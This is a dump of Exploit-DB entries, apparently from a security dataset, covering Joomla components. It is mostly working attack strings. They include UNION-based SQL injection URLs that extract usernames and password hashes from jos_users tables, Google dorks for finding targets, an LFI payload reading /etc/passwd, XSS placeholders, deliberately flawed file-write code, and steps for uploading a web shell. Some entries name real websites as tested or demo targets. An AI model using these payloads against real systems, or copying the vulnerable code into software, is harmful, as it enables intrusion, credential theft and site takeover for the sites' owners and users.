deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7718
Description: Joomla! Component com_newsflash - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-11
Author: EcHoLL

Exploit:
#Joomla newsflash Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
#[!] Module_Name:  newsflash
#[!] Script_Name: mambo and joomla
#[!] Google_Dork: inurl:"com_newsflash"
########################################
sqlcode:index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+mos_users&catid=0
 
mambo target: www.webpage.com/index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+mos_users&catid=0
 
joomla target: www.webpage.com/index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+jos_users&catid=0
 
 
tested page
http://www.flairsoft.net/main/index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+mos_users&catid=0

# milw0rm.com [2009-01-11]
Exploit-DB #35966
Description: Joomla! Component com_newssearch - SQL Injection
Type: webapps
Platform: php
Date: 2011-07-15
Author: Robert Cooper

Exploit:
source: https://www.securityfocus.com/bid/48698/info

The 'com_newssearch' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_newssearch&type=detail&section=2&id=15'
Exploit-DB #11730
Description: Joomla! Component com_nfnaddressbook - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-14
Author: snakespc

Exploit:
==============================================================================
[»] Joomla com_nfnaddressbook Remote Sql Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_crist4l@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ DrEadFul, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
   
###########################################################################
 ===[ Exploit ]===
   
[»] http://localhost/joomla/index.php?option=com_nfnaddressbook&Itemid=61&action=viewrecord&record_id=-4+UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13+from+jos_users--
[»]Author: DrEadFul<-
###########################################################################
Exploit-DB #20166
Description: Joomla! Component com_niceajaxpoll 1.3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-01
Author: Patrick de Brouwer

Exploit:
############################################################
#
# Title    : Joomla com_niceajaxpoll <= 1.3.0 SQL Injection Vulnerability
# Author   : Patrick de Brouwer - @knickz0r
#            NLSecurity         - www.nlsecurity.org
#
# Dork     : inurl:"/index.php?option=com_niceajaxpoll"
#
# Software : Joomla component Nice Ajax Poll <= 1.3.0
#            http://dmitry.dn.ua/my-projects/304-nice-ajax-poll.html
#
# Vendor   : Dima Kuprijanov
#
# Date     : 2012-07-31
#
############################################################

+ -- --=[ 0x01 - Software description

Nice Ajax Poll is a component for the Joomla! CMS which all-
ows users to vote on certain questions or statements.

+ -- --=[ 0x02 - Vulnerability description

There is a SQL Injection vulnerability that can be called f-
rom within the website to perform the SQL Injection attack.

+ -- --=[ 0x03 - Impact

The impact of this vulnerability should be rated as critical
as it is possible to access the database and therefore retr-
eive user information such as usernames, passwords and other
data. When abused, hackers could gain access to the adminis-
trative interface of Joomla.

+ -- --=[ 0x04 - Affected versions

As of the source code, the version containint this vulnerab-
ility was version 1.3.0. It was not proven that the vulnera-
bility does not exist in newer or earlier versions. Therfore
the vulnerability is considered available  in versions below
1.3.0.

+ -- --=[ 0x05 - Vendor contact trail

Contact has not been made with the author. Author will rece-
ive a copy of the vulnerability disclosure.

+ -- --=[ 0x06 - Proof of Concept (PoC)

In:

  /components/com_niceajaxpoll/views/niceajaxpoll/tmpl/default.php

there is a call to:

  index.php?option=com_niceajaxpoll&getpliseid="+id,

which is located on line 32.  In practice this vulnerability
has been verified by exploiting the following:

/index.php?option=com_niceajaxpoll&getpliseid=1 OR 1=1
                                              ,-------
                                              '- SQLi
Exploit-DB #9502
Description: Joomla! Component com_ninjamonial 1.1 - 'testimID' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-24
Author: Chip d3 bi0s

Exploit:
----------------------------------------------------------------------
Joomla Component com_ninjamonial (testimID) SQL injection Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

  
 Information:

Name             : NinjaMonials - Testimonials Manager.
Version          : 1.1.0
Date             : Jan 2009 Licence          : GPL                Type  : Commercial
Compatibility    : 1.0 Native
web              : http://www.ninjaforge.com
more info & demo : http://ninjaforge.com/index.php?option=com_ninjacentral&page=show_package&id=56&Itemid=245 

 
--------------------------------------------------------------------


Example:

http://localhost/path/index.php?option=com_ninjamonials&task=display&testimID=n<sql Code>
n: Valid testimID

<Sql Code>:
+and+1=2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+jos_users 

Demo Live:
http://www.ninjaforge.com/index.php?option=com_ninjamonials&task=display&testimID=3+and+1=2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+jos_users


+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

# milw0rm.com [2009-08-24]
Exploit-DB #10789
Description: Joomla! Component com_noticia - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-29
Author: Mr.tro0oqy

Exploit:
Joomla compnent com_noticia cross site scripting
author : Mr.tro0oqy
email : t.4@windowslive.com<mailto:t.4@windowslive.com>

dork:inurl:index.php?option=com_noticia

exp :
index.php?option=com_noticia&action=view&itemId=[XSS]
Exploit-DB #5081
Description: Joomla! Component com_noticias 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-07
Author: xcorpitx

Exploit:
  ##     ##     
   ##   ##      
    ## ##
     ###CoRPITX 
     ###     
    ## ##
   ##   ##
  ##     ##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#         joomla (com_noticias)SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net/
#
########################################################################
# WHEN YOU PUT THIS SQL CODE YOU LL SEE ADMÃN NAME,ADMIN HASH AND EMAÃL 
########################################################################
#
#  DorK   : ''com_noticias''
#
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
#
index.php?option=com_noticias&Itemid=xcorpitx&task=detalhe&id=-99887766/**/union/**/%20select/**/0,concat(username,0x3a,password,0x3a,email),2,3,4,5/**/%20from/**/%20jos_users/*
#
########################################################################

Thanks my friends : Hayalet,D3NGES!Z,PC FARESi,SMOKÃN,MOSTBÃG

# milw0rm.com [2008-02-07]
Exploit-DB #14659
Description: Joomla! Component com_ongallery - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-16
Author: al bayraqim

Exploit:
 
=================================================== 
Joomla Component (com_ongallery) SQL Injection Vulnerability 
=================================================== 
  
Author :   _aL_Bayraqim_  
  
Homepage : http://www.1923turk.com
 
BORDO BERELİLER GRUP KOMUTANLIGI

..! _al_bayragim_ ..! ..! Corti ..! ..! Aytug_Han ..! ..! Montesque ..! ..! Em3rGeNcY ..!...!..KaraBulut....!..!...Ramses....!....!...Mü cahit...!
  
=================================================== 
  [+]G00gle Dork :index.php?option=com_ongallery
  
[+] Vulnerable File :
  
  
http://site.com/index.php?option=com_ongallery&task=ft&id=-1[SQL] 
  
  
[+] ExploiT : 
  
http://site.com/index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
 
http://site.com/index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- 
  
  
=================================================== 
ŞeHiT GeLdi ÖLümLü YaLan, GiTTi ÖLümSüzLügü GerÇek. Siz HaYaT SüRen LeşLer, SiZi Kim DiRiLTecek?..
=================================================== 
  
Greetz : 1923Turk All Users
Exploit-DB #10739
Description: Joomla! Component com_oprykningspoint_mc - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-27
Author: Pyske

Exploit:
< ------------------- header data start ------------------- >

###########################################################################
Joomla Component com_oprykningspoint_mc Cross Site Scripting Vulnerabilities
###########################################################################

# Author : Pyske


# Name : com_oprykningspoint_mc


# Home : www.cyber-warrior.org


# Greetz : Fl0riX , M-K-A , F0RTS3V3N , 3KB3R ,BARCOD3 and ALL Cyber-Warrior


# Bug Type : Cross Site Scripting


# Infection : Yönetici ve User cookiekleri calinabilir.


# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.


# Demo Vuln. : http://server/index.php?option=com_oprykningspoint_mc&Itemid= [XSS CODE]



#############################################################

< ------------------- header data end of ------------------- >


< -- bug code start -- >


">


< -- bug code end of -- >
Exploit-DB #12016
Description: Joomla! Component com_ops - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-02
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_ops SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-02

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_ops SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_ops&view=location&location_id=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_ops&view=location&location_id=-1+UNION+SELECT+1,2,3,4,5--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #11752
Description: Joomla! Component com_org - 'letter' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-15
Author: kazuya

Exploit:
# Joomla com_org SQL Injection Vulnerability (letter parameter)
# Author: kazuya
# Mail: kazuy0r@gmail.com<mailto:kazuy0r@gmail.com> Jabber: kazuya@jabber.ccc.de<mailto:kazuya@jabber.ccc.de>
# Greetz to back2hack

# Vulnerability
# Query: SELECT count(*) FROM `jos_org` WHERE (`name` LIKE '<sql>%' || ...
# SQL: ')+union+select+0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0--+f
# Example: http://[target].com/index.php?option=com_org&letter=')+union+select+0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0--+f&task=indexs
Exploit-DB #11725
Description: Joomla! Component com_org - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-14
Author: N2n-Hacker

Exploit:
###############################################################################
##                                                                           ##
##          Joomla com_org SQL Injection Vulnerability                      ##
##                                                                           ##
###############################################################################
\\\\\\\\\\\\\\\\\\\\\\\\\\\N2n-Hacker - 2nd@live.fr////////////////////////////

*******************************************************************************
=> Dork = inurl:"option=com_org"

-------------------------------------------------------------------------------
# EXp : http://www.website.com/path/index.php?option=com_org&task=info&id=22' <=[SQLI] --&#9001;=en

Error = "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version"

# http://www.website.com/path/index.php?option=com_org&task=info&id=-22 UNION SELECT 1,2 ..... --&#9001;=en


********************************************************************************
                \\\\\\\\\\\\\\\\\\ BAD LIFE //////////////////

********************************************************************************
Exploit-DB #19829
Description: Joomla! Component com_osproperty 2.0.2 - Unrestricted Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-07-14
Author: D4NB4R

Exploit:
_______________________________________________________________________________________
 
 Exploit Title: Joomla com_osproperty Unrestricted File Upload 

 Google Dork: com_osproperty

 Date: [13-07-2012]

 Author: Daniel Barragan "D4NB4R"

 Twitter: @D4NB4R

 site: http://www.insecurityperu.org/  &  http://poisonsecurity.wordpress.com/

 Vendor: Ossolution Team http://extensions.joomla.org/

 Version: 2.0.2 (last update on Jul 12, 2012)

 License: Commercial $ 28.86us
 
 Tested on: [Linux(arch)-Windows(7ultimate)]


1.  Go to this route
    Ingrese a esta ruta
   
   http://site/component/osproperty/?task=agent_register


2.  Complete the form, raising the shell.php instead of your photo
    Complete el formulario, subiendo la shell.php en lugar de su foto


3.  Locate your file in the root /osproperty/agent/ 
    Busque su archivo en la raiz /osproperty/agent/ 
 
    http://site/images/osproperty/agent/randomid_yourshell.php


Help:  This path can help you find your web shell in case you need it
       Este path le puede ayudar a encontrar su web shell en caso q lo necesite
      
           component/osproperty/?task=agent_default
 

Im not responsible for which is given
No me hago responsable del uso que se le de
_______________________________________________________________________________________
Daniel Barragan "D4NB4R"  2012
Exploit-DB #10966
Description: Joomla! Component com_otzivi - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: Cyber_945

Exploit:
<------------------- header data start ------------------- >
#############################################################
#        Joomla Component com_otzivi Blind SQL Injection Vulnerability
#############################################################
# Author          : Cyber_945
# Home            : Ar-ge.Org
# Greetz          : By.Danger,D3xer,LionTurk and All Ar-ge.Org Members
# Not3            : Ar-ge.Org Online
# Name            : com_otzivi
# Bug Type        : Blind SQL Injection
# Infection       : Adminin bilgileri alinabilir.
  Dork :          : inurl:/index.php?option=com_otzivi

#############################################################
=======================C=y=b=e=r=_=9=4=5================
< 


-- bug code start -- >
http://server/index.php?option=com_otzivi&Itemid=15+and+1=2+union+select+concat(id,0x3a,username,0x3a,password),1+from+jos_users7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--

=======================C=y=b=e=r=_=9=4=5================
Exploit-DB #11494
Description: Joomla! Component com_otzivi - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-18
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_otzivi Local File Inclusion
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : Joomla Component com_ccnewsletter
.:. Bug Type       : Local File Inclusion [LFI]
.:. Dork           : inurl:"com_otzivi"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_otzivi&controller=[LFI]
www.site.com/index.php?option=com_otzivi&controller=../../../../../../../../../../etc/passwd%00

####################################################################
Exploit-DB #10979
Description: Joomla! Component com_oziogallery2 / IMAGIN - Arbitrary File Write
Type: webapps
Platform: php
Date: 2010-01-03
Author: Ubik & er

Exploit:
# Exploit Title: Joomla component com_oziogallery2 / IMAGIN arbitrary file write
# Date: 01-01-10
# Author: Ubik and er
# Software Link: oziogallery.joomla.it / imagin.ro
# Version: all
# Disclaimer : all the information in this document is provided "as is", for educational purposes only. The authors will not be responsible for any damage.

technical information
---------------------
We can find this obviously flawed code in /scripts_ralcr/filesystem/writeToFile.php:

*************************
$file = "../../".$_POST["path"];

$fh = fopen ($file, 'w') or die("error::Can't open file for writing");
echo fwrite ($fh, stripslashes($_POST["raw_data"]));

fclose($fh);
*************************

An attack can be easily performed by manipulating the parameters (path and raw_data).
Probably other php files in scripts_ralcr are coded without any care about security.
In Oziogallery the vulnerable files are located in /components/com_oziogallery2/imagin/scripts_ralcr/.
Exploit-DB #12648
Description: Joomla! Component com_packages - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-18
Author: Kernel Security Group

Exploit:
[+] Title : Joomla Component com_packages SQL Injection Vulnerability
[+] Author: Kernel Security Group
[+] Data  : 2010-05-19

[!]#####################################################################################################[!]
 
[+] Title     : Joomla Component com_packages SQL Injection Vulnerability
[+] Author    : Kernel Security Group By D3v1l.blackhat
[+] Homepage  : http://www.KernelSec.com
[+] Email     : Info@KernelSec.com
 
[!]#####################################################################################################[!]
 
[+] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_packages&func=detail&Itemid=86&id=[SQL]
 
[+] ExploiT         :
 
-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8--
 
[+] Example         :
 
http://127.0.0.1/index.php?option=com_packages&func=detail&Itemid=86&id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8--

 
[!]#####################################################################################################[!]
 
[+] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[+] IRANIAN Young HackerZ
 
[+] GreetZ : Exploit-DB TeaM

[!]#####################################################################################################[!]
Exploit-DB #12270
Description: Joomla! Component com_pandafminigames - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-16
Author: Valentin

Exploit:
# Exploit Title: Joomla Component com_pandafminigames SQL Injection Vulnerabilities
# Date: 16.04.2010
# Author: Valentin
# Category: webapps/0day
# Version: unknown
# Tested on: 
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
|:: >> General Information 
|:: Advisory/Exploit Title = Joomla Component com_pandafminigames SQL Injection Vulnerabilities
|:: By = Valentin Hoebel
|:: Contact = valentin@xenuser.org
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
|:: >> Product information
|:: Name = com_pandafminigames
|:: Affected Version(s) = unknown
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
|:: >> #1 Vulnerability
|:: Type = multiple SQL Injection vulnerabilities
|:: Example URL #1 = index.php?option=com_pandafminigames&Itemid=&task=myscores&userid=XX+AND+1=2+UNION+SELECT+concat(database()),2,concat(database()),4,5,6,7,8,9,10,11,12-- 
|:: Example URL #2 = index.php?option=com_pandafminigames&Itemid=XX&gameid=X+AND+1=2+UNION+SELECT+concat(database()),concat(database()),concat(database()),concat(database()),concat(database()),concat(database()),7,8-- 
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
|:: >> Additional Information
|:: Advisory/Exploit Published = 16.04.2010
|:: 
|:: 
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
|:: >> Misc
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
|::
|:: 
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #11695
Description: Joomla! Component com_party - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-11
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_party SQL Injection Vulnerability 
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]######################################### ExploiT #################################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_party&view=party&task=details&id=[SQL]
 
[~] ExploiT         :
 
-1/**/UNION/**/SELECT/**/1/**/FROM/**/jos_users/*
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_party&view=party&task=details&id=-1/**/UNION/**/SELECT/**/1/**/FROM/**/jos_users/*
 
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]######################################## FinisH :D #################################################[~]